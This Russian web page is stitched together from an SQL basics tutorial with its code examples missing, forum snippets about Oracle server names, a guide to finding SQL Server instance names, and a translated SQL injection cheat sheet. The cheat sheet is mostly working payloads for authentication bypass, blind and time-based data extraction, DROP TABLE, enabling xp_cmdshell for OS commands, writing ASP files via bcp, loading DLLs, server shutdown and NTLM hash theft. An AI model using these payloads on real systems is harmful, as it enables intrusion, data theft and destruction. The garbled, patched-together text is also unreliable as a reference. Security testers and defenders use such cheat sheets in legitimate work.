Как узнать имя сервера sql oracle

Обновлено: 02.07.2024

SQL (Structured Query Language) — это язык структурированных запросов. Он позволяет читать, записывать, удалять, сортировать и фильтровать информацию в базе данных.

В SQL используется немного слов. Он напоминает человеческий язык и поэтому его легко изучить. С его помощью можно работать с реляционными базами данных: пользователь отправляет SQL-запрос к базе данных через систему управления базами данных (СУБД). Последняя обрабатывает запрос и отправляет полученные данные пользователю.

Структура SQL-запроса

Запрос на выборку данных выглядит вот так:

Рассмотрим подробнее, как производится выборка.

SELECT и FROM

SELECT и FROM — обязательные ключевые слова в этом запросе. С их помощью можно указать, откуда и какие данные можно выбрать:

  • К примеру, выбрать фамилии сотрудников из таблицы Employees:
  • Получить только фамилию и размер зарплаты из этой же таблицы:

Обратите внимание: имена столбцов указываются через запятую.

Для выборки всех столбцов применяется групповой символ «*». При его использовании столбцы будут возвращены, но иногда порядок может не соблюдаться.

Групповой символ упрощает запрос, но при этом снижает производительность. Поэтому лучше использовать его в редких случаях.

WHERE

Обычно нам нужна определенная информация из таблицы. Но как ее быстро найти? WHERE помогает извлечь информацию, отфильтровав ее по одному или нескольким условиям. Это очень удобно!

С WHERE применяются такие операции:

Некоторые из операций приведены в нескольких вариантах, потому что в разных СУБД они указываются по-разному. Чтобы узнать, какие операции используются в вашей СУБД — смотрите ее документацию.

Если требуется указать значение строки , заключите его в апострофы:

Фильтр по нескольким условиям

Данные можно фильтровать не только по одному, а и по нескольким условиям и значениям. Для этого используются операторы IN, NOT IN, AND, OR.

  • Отфильтровать по нескольким значениям с дополнительными условиями:

В результате этого запроса будут выбраны все сотрудники из подразделений ИТ и маркетинга.

  • Отфильтровать по нескольким значениям с исключением:

Будут выбраны все сотрудники, кроме тех, кто работает в подразделениях ИТ и маркетинга.

  • Выбрать сотрудников из ИТ-подразделения с зарплатой свыше 1000:
  • Выбрать сотрудников из ИТ-подразделения или с зарплатой свыше 1000:

GROUP BY

С помощью необязательного предложения GROUP BY создаются группы данных. Это удобно для получения итоговых значений. Например, нужно узнать, сколько человек работает в отделе продаж. Инструкция может выглядеть так:

Этот код возвращает названия подразделений и количество работников в каждом из них. Количество сотрудников помещается в столбец с псевдонимом cnt, который мы задали с помощью ключевого слова AS.

Предложение GROUP BY указывается после WHERE и перед ORDER BY.

В GROUP BY можно указать столько столбцов, сколько нужно. В результате группы вкладываются друг в друга.

При вложении данные будут суммироваться для последней заданной группы, а не для отдельно для каждого столбца.

В предложении GROUP BY можно указать только столбцы выборки или выражения. В нем не указывается функция группирования и не применяются псевдонимы.

Если в столбце, по которому производится группирование, встречается одна или несколько строк со значением NULL, они выделяются в отдельную группу.

HAVING

С помощью предложения GROUP BY можно также указывать, какие группы включить в результат, а какие — исключить из него. Для этого используется предложение HAVING. Оно очень напоминает WHERE, но фильтрует не строки, а группы.

Этот код похож на предыдущий, но возвращает только те группы, в которых найдены три или больше сотрудников. Фильтрация выполняется по итоговому значению группы. Этим HAVING отличается от WHERE, которое фильтрует по значениям строк.

Эти предложения можно использовать вместе. Например, можно узнать, сколько сотрудников в подразделениях со штатом более трех человек, получают более 1000:

Сначала выбираются все строки, где в столбце salary содержатся значения больше 1000. А затем выбираются только те группы, в которых не меньше трех записей.

ORDER BY

Предложение ORDER BY используется для сортировки результатов запроса. В нем указываются имена столбцов, по которым нужна сортировка.

Давайте отсортируем список фамилий сотрудников:

В предложении ORDER BY можно указывать и те столбцы, которые не выбраны в операторе SELECT:

Так список фамилий сотрудников будет отсортирован по размеру зарплаты.

Сортировку можно выполнять и по нескольким столбцам. Для этого имена столбцов указывают через запятую:

Так мы увидим список сотрудников, который сначала отсортирован по фамилии, а затем — по имени.

Вместо имен столбцов можно указать их порядковые номера в операторе SELECT:

Этот код также возвращает список сотрудников с сортировкой по фамилии, а затем — по имени.

Сортировка по убыванию

В предыдущих примерах мы сортировали по возрастанию (это делается по умолчанию). Но можно сортировать и по убыванию. Для этого укажем слово DESC:

Так мы отсортируем список с именами и фамилиями в обратном алфавитном порядке.

Если обратная сортировка выполняется по нескольким столбцам, укажите ключевое слово DESC после каждого из них.

Слово DESC — это сокращение от слова DESCENDING. В запросах можно использовать как полную, так и сокращенную форму. Для сортировки в порядке возрастания тоже существует ключевое слово. Его полная форма — ASCENDING, а сокращенная — ASC. Поскольку по умолчанию выполняется сортировка по возрастанию, то это слово не указывают.

Объединение таблиц

Иногда нам нужны данные из нескольких таблиц. Рассмотрим пример:

Этот код возвратит имена и фамилии сотрудников из таблицы Employees и номера заказов из таблицы Orders, которые выполнены соответствующими сотрудниками. В предложении WHERE имена столбцов указаны с именами соответствующих таблиц. Это необходимо, чтобы СУБД могла различать столбцы employee_id из разных таблиц.

Такое объединение называется внутренним. Для него можно использовать специальный синтаксис с ключевым словом INNER JOIN. Приведенный ниже код выдаст те же результаты, что и предыдущий фрагмент:

Вместо предложения WHERE используется предложение ON, синтаксис которого совпадает с синтаксисом WHERE.

Число объединяемых таблиц в SQL не ограничено, но может ограничиваться в разных СУБД. Обратите внимание: чем больше таблиц объединяется, тем ниже производительность. Поэтому не рекомендуем объединять таблицы без особой необходимости.

Вместо заключения

SQL — простой для освоения и при этом мощный язык. Он появился в 1970-х и до сих пор используется, хотя наряду с ним появляются новые похожие языки. Этот язык используется различными СУБД: MySQL, SQLite, Oracle Database, Microsoft Access, Microsoft SQL Server, dBASE, IBM DB2.

Сегодня SQL — не просто язык формирования запросов. С его помощью можно упорядочивать и изменять данные, делать выборки, управлять доступом к ним, совместно использовать информацию и обеспечивать ее целостность. Пользуйтесь!

Highload нужны авторы технических текстов. Вы наш человек, если разбираетесь в разработке, знаете языки программирования и умеете просто писать о сложном!
Откликнуться на вакансию можно здесь .

Что такое индексы в Mysql и как их использовать для оптимизации запросов

Основные понятия о шардинге и репликации

Примеры ad-hoc запросов и технологии для их исполнения

Настройка Master-Master репликации на MySQL за 6 шагов

Как создать и использовать составной индекс в Mysql

Анализ медленных запросов (профилирование) в MySQL с помощью Percona Toolkit

Где задать имя сервера при установке Oracle 10g
Ятолько начал работать с Oracle и не могу понять, мне нужно ввести имя сервера ещё при.

Настройка сервера Oracle
Подскажите пожалуйста, с помощью какого программного пакета и как можно настроить жесткий диск (или.

Проблемма с установкой сервера Oracle 8.1.7
После запуска сетапа под WinXP сразу же выскакивает следующая ошибка: "Невозможно создать.

это скорее всего алиас, то что прописано в tnsnames.ora В Oracle нет такого понятия. В терминах Oracle сервер БД - это экземпляр + БД. В общем случае у них разные имена (хотя часто совпадают), задаваемые параметрами instance_name и db_name.
Алиас из файла tnsnames.ora может спасти отца русской демократии, если конечно на данном компе установлен клиент Oracle (или сам сервер) и такой файл создан. В Oracle нет такого понятия. В терминах Oracle сервер БД - это экземпляр + БД. В общем случае у них разные имена (хотя часто совпадают), задаваемые параметрами instance_name и db_name.
Алиас из файла tnsnames.ora может спасти отца русской демократии, если конечно на данном компе установлен клиент Oracle (или сам сервер) и такой файл создан. А зачем и тот и другой? Или они разных версий?
Если сервер - это тот, к которому надо подключаться, то залезь в реестр (LOCAL_MACHINE\SOFTWARE\ORACLE) и найди ключик ORACLE_SID или LOCAL. К указанному в этом ключе экземпляру будет подключение, если не указывать "имя сервера". Для начала попробуй подключиться через "родной" SQL*Plus. А зачем и тот и другой? Или они разных версий?
Если сервер - это тот, к которому надо подключаться, то залезь в реестр (LOCAL_MACHINE\SOFTWARE\ORACLE) и найди ключик ORACLE_SID или LOCAL. К указанному в этом ключе экземпляру будет подключение, если не указывать "имя сервера". Для начала попробуй подключиться через "родной" SQL*Plus.


Как узнать имя сервера
Добрый вечерок. Подскажите, как узнать имя сервера SQL Server Management Studio 2017? В панеле.

Как узнать имя сервера?
Как узнать имя сервера баз данных к внешнему сайту? Если в конфигурациях написано ! .

Имя сервера
При соединении с сервером необходимо ввести имя сервера. какое оно??

Изменить имя сервера
Окно соединения с сервером (SQL server 2008 R2): Тип сервера Microsoft Engine, Имя сервера.

Как узнать имя сервера, к базе данной которой коннектится?
Podskazite, kak uznat imja servera, k base dannih kotoroj connectishsja? Spasibo. Inessa

Всем привет! Сегодня мы с Вами рассмотрим несколько способов определения имени экземпляра Microsoft SQL Server на языке T-SQL, а также с использованием других программных средств.

Как узнать имя экземпляра Microsoft SQL Server на T-SQL

Способы определения имени экземпляра Microsoft SQL Server

Существует несколько способов узнать, какое имя экземпляра у SQL Server. Мы рассмотрим способы, которые подразумевают обращение к определенным системным функциям на языке T-SQL, а также способ, с помощью которого мы можем узнать имена всех экземпляров SQL Server, которые установлены на конкретном сервере.

Кроме этого я покажу способ определения имени экземпляра SQL Server без выполнения SQL инструкций, например, для случаев, когда нет возможности подключиться к SQL Server. Данный способ предполагает выполнение определённой инструкции на языке PowerShell.

Таким образом, для того чтобы определить имя экземпляра Microsoft SQL Server, Вы можете использовать тот способ, который будет удобнее в Вашем конкретном случае.

Способ 1 – функция @@SERVERNAME

Первый способ предполагает использование системной функции @@SERVERNAME, которая возвращает имя локального сервера, на котором работает SQL Server.

Функция @@SERVERNAME возвращает следующие данные:

Исходные данные Данные, которые возвращает функция
Если используется экземпляр по умолчанию «Имя_сервера»
Если используется именованный экземпляр «Имя_сервера\Имя_экземпляра»
Если используется экземпляр по умолчанию отказоустойчивого кластера «Сетевое_имя_экземпляра_отказоустойчивого_ кластера_windows_server»
Если используется именованный экземпляр отказоустойчивого кластера «Сетевое_имя_экземпляра_отказоустойчивого_ кластера_windows_server\имя_экземпляра»

Пример использования функции

Скриншот 1

В моем случае используется именованный экземпляр Microsoft SQL Server, поэтому функция вернула соответствующие данные, где SQLEXPRESS и есть имя экземпляра SQL Server.

Способ 2 – функция @@SERVICENAME

Второй способ определения имени экземпляра Microsoft SQL Server предполагает использование функции @@SERVICENAME, которая возвращает имя раздела реестра, согласно которому запущен SQL Server.

Если текущий экземпляр является экземпляром по умолчанию, то данная функция возвращает «MSSQLSERVER», однако если же текущий экземпляр является именованным экземпляром, то эта функция возвращает имя этого экземпляра.

Пример использования функции

Скриншот 2

В данном случае, так как у меня именованный экземпляр, функция @@SERVICENAME вернула имя экземпляра.

Способ 3 – функция SERVERPROPERTY

Следующий способ определения имени экземпляра SQL Server предполагает использование системной функции SERVERPROPERTY, которая возвращает много различных сведений о свойствах экземпляра Microsoft SQL Server.

Данная функция принимает один параметр, и если мы передадим значение «InstanceName», то она нам вернет имя экземпляра.

Однако здесь стоит учитывать, что если используется экземпляр по умолчанию, то функция вернет NULL.

Пример использования функции

Скриншот 3

У меня именованный экземпляр, поэтому функция вернула имя экземпляра.

Способ 4 – процедура xp_regread

Если Вам необходимо узнать имена всех экземпляров SQL Server, которые установлены на конкретном сервере, то для этого Вы можете использовать системную хранимую процедуру xp_regread, которая умеет считывать параметры реестра Windows, в котором как раз и можно найти всю интересующую нас информацию об экземплярах Microsoft SQL Server.

Пример использования процедуры

Скриншот 4

У меня установлен только один экземпляр, поэтому инструкция вернула одну строку данных.

Как узнать имя экземпляра Microsoft SQL Server на PowerShell

Способ предполагает простое считывание названия службы Microsoft SQL Server, т.е. мы с помощью определенной инструкции на PowerShell ищем название службы по префиксу «MSSQL$» (данный префикс имеет «Имя службы, а не «Отображаемое имя службы»).

Пример инструкции на PowerShell

Скриншот 5

Кроме этого, узнать имя экземпляра Microsoft SQL Server можно, если зайти в оснастку «Службы» в Windows и посмотреть, какое имя указано в названии службы SQL Server.

Заметка! Всем тем, кто только начинает свое знакомство с языком SQL, рекомендую прочитать книгу «SQL код» – это самоучитель по языку SQL, которую написал я, и в которой я подробно, и в то же время простым языком, рассказываю о языке SQL.

SQL Injection

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL, Microsoft SQL Server, ORACLE и PostgreSQL.

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
• M (MySQL);
• S (SQL Server);
• O (Oracle);
• P (PostgreSQL);
• + (возможно на других БД);
• * (требуются специальные условия).

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + '-' + password FROM members
|| (*MO): SELECT login || '-' || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII('a')
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

SELECT * FROM Table1 WHERE UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping '

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
';shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = 'U'
Получение пользовательских таблиц

SELECT name FROM syscolumns WHERE id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
. WHERE users NOT IN ('First User', 'Second User')
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
Получение названий столбцов

FALSE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>79--

FALSE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY 'time' (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR((),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
– ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet.

Читайте также: